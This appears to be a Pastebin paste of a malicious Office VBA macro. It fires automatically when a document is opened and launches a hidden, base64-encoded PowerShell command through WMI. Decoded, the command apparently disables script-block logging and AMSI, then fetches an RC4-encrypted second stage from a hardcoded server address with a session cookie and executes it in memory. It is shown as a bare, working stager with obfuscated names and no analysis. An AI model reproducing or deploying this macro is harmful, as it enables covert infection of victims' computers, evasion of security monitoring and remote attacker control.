Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Sub Auto_Open()
- mkVdEfsZs
- End Sub
- Sub AutoOpen()
- mkVdEfsZs
- End Sub
- Sub Document_Open()
- mkVdEfsZs
- End Sub
- Public Function mkVdEfsZs() As Variant
- Dim qUuTyXtB As String
- qUuTyXtB = "powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVg"
- qUuTyXtB = qUuTyXtB + "BFAHIAUwBpAE8AbgBUAGEAYgBsAEUALgBQAFMAVgBFAHIAUwBp"
- qUuTyXtB = qUuTyXtB + "AE8ATgAuAE0AYQBqAG8AUgAgAC0AZwBlACAAMwApAHsAJABHAF"
- qUuTyXtB = qUuTyXtB + "AARgA9AFsAUgBFAGYAXQAuAEEAcwBTAGUAbQBCAGwAeQAuAEcA"
- qUuTyXtB = qUuTyXtB + "ZQBUAFQAWQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ"
- qUuTyXtB = qUuTyXtB + "BnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBV"
- qUuTyXtB = qUuTyXtB + "AHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkARQBgAGwAZAAiAC"
- qUuTyXtB = qUuTyXtB + "gAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkA"
- qUuTyXtB = qUuTyXtB + "UwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQ"
- qUuTyXtB = qUuTyXtB + "BiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABH"
- qUuTyXtB = qUuTyXtB + "AFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAGUAVABWAE"
- qUuTyXtB = qUuTyXtB + "EAbABVAEUAKAAkAE4AVQBsAGwAKQA7AEkAZgAoACQARwBQAEMA"
- qUuTyXtB = qUuTyXtB + "WwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZw"
- qUuTyXtB = qUuTyXtB + "BnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBw"
- qUuTyXtB = qUuTyXtB + "AHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAF"
- qUuTyXtB = qUuTyXtB + "sAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwA"
- qUuTyXtB = qUuTyXtB + "bwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQw"
- qUuTyXtB = qUuTyXtB + "BbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBn"
- qUuTyXtB = qUuTyXtB + "AGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAH"
- qUuTyXtB = qUuTyXtB + "AAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8A"
- qUuTyXtB = qUuTyXtB + "ZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAQQBsAD0AWwBDAG8AbA"
- qUuTyXtB = qUuTyXtB + "BMAGUAQwB0AEkATwBuAFMALgBHAGUAbgBlAFIAaQBDAC4ARABJ"
- qUuTyXtB = qUuTyXtB + "AGMAdABpAE8AbgBBAFIAeQBbAHMAVABSAEkAbgBnACwAUwB5AF"
- qUuTyXtB = qUuTyXtB + "MAdABlAE0ALgBPAEIAagBFAGMAdABdAF0AOgA6AG4AZQB3ACgA"
- qUuTyXtB = qUuTyXtB + "KQA7ACQAdgBhAEwALgBBAEQARAAoACcARQBuAGEAYgBsAGUAUw"
- qUuTyXtB = qUuTyXtB + "BjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBu"
- qUuTyXtB = qUuTyXtB + "AGcAJwAsADAAKQA7ACQAVgBhAEwALgBBAEQARAAoACcARQBuAG"
- qUuTyXtB = qUuTyXtB + "EAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8A"
- qUuTyXtB = qUuTyXtB + "YwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJA"
- qUuTyXtB = qUuTyXtB + "BHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBD"
- qUuTyXtB = qUuTyXtB + "AEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAG"
- qUuTyXtB = qUuTyXtB + "MAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQA"
- qUuTyXtB = qUuTyXtB + "bwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQ"
- qUuTyXtB = qUuTyXtB + "BwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBd"
- qUuTyXtB = qUuTyXtB + "AD0AJABWAEEAbAB9AEUATABTAEUAewBbAFMAYwByAEkAcAB0AE"
- qUuTyXtB = qUuTyXtB + "IATABPAEMASwBdAC4AIgBHAEUAVABGAGkAZQBgAEwARAAiACgA"
- qUuTyXtB = qUuTyXtB + "JwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbw"
- qUuTyXtB = qUuTyXtB + "BuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBF"
- qUuTyXtB = qUuTyXtB + "AFQAVgBBAEwAdQBlACgAJABOAHUAbABsACwAKABOAEUAVwAtAE"
- qUuTyXtB = qUuTyXtB + "8AQgBKAEUAQwBUACAAQwBPAEwAbABFAEMAdABJAG8ATgBzAC4A"
- qUuTyXtB = qUuTyXtB + "RwBFAG4AZQByAGkAQwAuAEgAYQBzAEgAUwBFAFQAWwBzAHQAUg"
- qUuTyXtB = qUuTyXtB + "BpAE4ARwBdACkAKQB9AFsAUgBlAEYAXQAuAEEAcwBTAEUAbQBC"
- qUuTyXtB = qUuTyXtB + "AGwAWQAuAEcARQBUAFQAeQBQAGUAKAAnAFMAeQBzAHQAZQBtAC"
- qUuTyXtB = qUuTyXtB + "4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQA"
- qUuTyXtB = qUuTyXtB + "aQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJA"
- qUuTyXtB = qUuTyXtB + "BfAH0AfAAlAHsAJABfAC4ARwBFAHQARgBpAGUATABkACgAJwBh"
- qUuTyXtB = qUuTyXtB + "AG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG"
- qUuTyXtB = qUuTyXtB + "4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUA"
- qUuTyXtB = qUuTyXtB + "VABWAEEAbABVAGUAKAAkAG4AdQBsAGwALAAkAFQAcgB1AGUAKQ"
- qUuTyXtB = qUuTyXtB + "B9ADsAfQA7AFsAUwB5AHMAVABFAE0ALgBOAGUAVAAuAFMAZQBS"
- qUuTyXtB = qUuTyXtB + "AHYASQBjAEUAUABPAEkAbgBUAE0AYQBOAEEARwBFAHIAXQA6AD"
- qUuTyXtB = qUuTyXtB + "oARQBYAFAARQBDAFQAMQAwADAAQwBPAG4AdABpAG4AdQBlAD0A"
- qUuTyXtB = qUuTyXtB + "MAA7ACQAdwBDAD0ATgBFAHcALQBPAEIAagBlAEMAdAAgAFMAWQ"
- qUuTyXtB = qUuTyXtB + "BzAFQARQBNAC4ATgBFAHQALgBXAEUAQgBDAGwAaQBlAG4AdAA7"
- qUuTyXtB = qUuTyXtB + "ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAG"
- qUuTyXtB = qUuTyXtB + "kAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYA"
- qUuTyXtB = qUuTyXtB + "NAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOg"
- qUuTyXtB = qUuTyXtB + "AxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAk"
- qUuTyXtB = qUuTyXtB + "AFcAQwAuAEgARQBBAGQAZQBSAFMALgBBAGQAZAAoACcAVQBzAG"
- qUuTyXtB = qUuTyXtB + "UAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAYwAuAFAA"
- qUuTyXtB = qUuTyXtB + "cgBPAFgAeQA9AFsAUwB5AHMAVABlAG0ALgBOAEUAVAAuAFcARQ"
- qUuTyXtB = qUuTyXtB + "BiAFIAZQBRAHUAZQBTAFQAXQA6ADoARABFAEYAQQB1AEwAdABX"
- qUuTyXtB = qUuTyXtB + "AGUAYgBQAHIATwBYAHkAOwAkAFcAYwAuAFAAcgBPAFgAeQAuAE"
- qUuTyXtB = qUuTyXtB + "MAUgBlAEQAZQBuAFQASQBBAGwAcwAgAD0AIABbAFMAWQBzAHQA"
- qUuTyXtB = qUuTyXtB + "RQBtAC4ATgBlAHQALgBDAHIAZQBEAEUATgBUAGkAQQBMAEMAYQ"
- qUuTyXtB = qUuTyXtB + "BDAEgARQBdADoAOgBEAGUAZgBBAFUAbAB0AE4ARQBUAFcAbwBy"
- qUuTyXtB = qUuTyXtB + "AEsAQwByAEUARABlAE4AVABJAGEATABzADsAJABTAGMAcgBpAH"
- qUuTyXtB = qUuTyXtB + "AAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgA"
- qUuTyXtB = qUuTyXtB + "eQA7ACQASwA9AFsAUwBZAFMAdABFAG0ALgBUAEUAWAB0AC4ARQ"
- qUuTyXtB = qUuTyXtB + "BuAEMATwBEAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQBU"
- qUuTyXtB = qUuTyXtB + "AEIAWQB0AEUAUwAoACcAOQA3ADUAMgBmAGIAZAAxAGQAMQBlAG"
- qUuTyXtB = qUuTyXtB + "EAMQAzADEAYgBmADYANgAyADUAMwBhAGMAMQBiAGYAZgBmADAA"
- qUuTyXtB = qUuTyXtB + "MABmACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARw"
- qUuTyXtB = qUuTyXtB + "BTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8"
- qUuTyXtB = qUuTyXtB + "ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAF"
- qUuTyXtB = qUuTyXtB + "sAJABfACUAJABLAC4AQwBvAHUAbgB0AF0AKQAlADIANQA2ADsA"
- qUuTyXtB = qUuTyXtB + "JABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASg"
- qUuTyXtB = qUuTyXtB + "BdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAo"
- qUuTyXtB = qUuTyXtB + "ACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAF"
- qUuTyXtB = qUuTyXtB + "MAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQA"
- qUuTyXtB = qUuTyXtB + "UwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQ"
- qUuTyXtB = qUuTyXtB + "A7ACQAXwAtAGIAeABvAHIAJABTAFsAKAAkAFMAWwAkAEkAXQAr"
- qUuTyXtB = qUuTyXtB + "ACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAH"
- qUuTyXtB = qUuTyXtB + "IAPQAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADMA"
- qUuTyXtB = qUuTyXtB + "MAAuADEANQAzADoAOAAwACcAOwAkAHQAPQAnAC8AbABvAGcAaQ"
- qUuTyXtB = qUuTyXtB + "BuAC8AcAByAG8AYwBlAHMAcwAuAHAAaABwACcAOwAkAHcAYwAu"
- qUuTyXtB = qUuTyXtB + "AEgARQBhAEQARQBSAFMALgBBAEQARAAoACIAQwBvAG8AawBpAG"
- qUuTyXtB = qUuTyXtB + "UAIgAsACIAcwBlAHMAcwBpAG8AbgA9AGkAVQBCADkAcAA5ADkA"
- qUuTyXtB = qUuTyXtB + "bABkADQARwB5AFYAYgB1AHEAVABFAEgAVABIAEoANgBSADUARg"
- qUuTyXtB = qUuTyXtB + "BBAD0AIgApADsAJABEAEEAdABBAD0AJABXAEMALgBEAE8AVwBO"
- qUuTyXtB = qUuTyXtB + "AGwAbwBBAGQARABhAHQAYQAoACQAUwBlAFIAKwAkAFQAKQA7AC"
- qUuTyXtB = qUuTyXtB + "QASQBWAD0AJABEAEEAdABhAFsAMAAuAC4AMwBdADsAJABkAEEA"
- qUuTyXtB = qUuTyXtB + "dABhAD0AJABkAGEAdABhAFsANAAuAC4AJABkAGEAVABhAC4AbA"
- qUuTyXtB = qUuTyXtB + "BlAE4AZwB0AEgAXQA7AC0AagBvAGkAbgBbAEMASABhAHIAWwBd"
- qUuTyXtB = qUuTyXtB + "AF0AKAAmACAAJABSACAAJABkAGEAVABhACAAKAAkAEkAVgArAC"
- qUuTyXtB = qUuTyXtB + "QASwApACkAfABJAEUAWAA="
- Const HIDDEN_WINDOW = 0
- strComputer = "."
- Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
- Set objStartup = objWMIService.Get("Win32_ProcessStartup")
- Set objConfig = objStartup.SpawnInstance_
- objConfig.ShowWindow = HIDDEN_WINDOW
- Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
- objProcess.Create qUuTyXtB, Null, objConfig, intProcessID
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement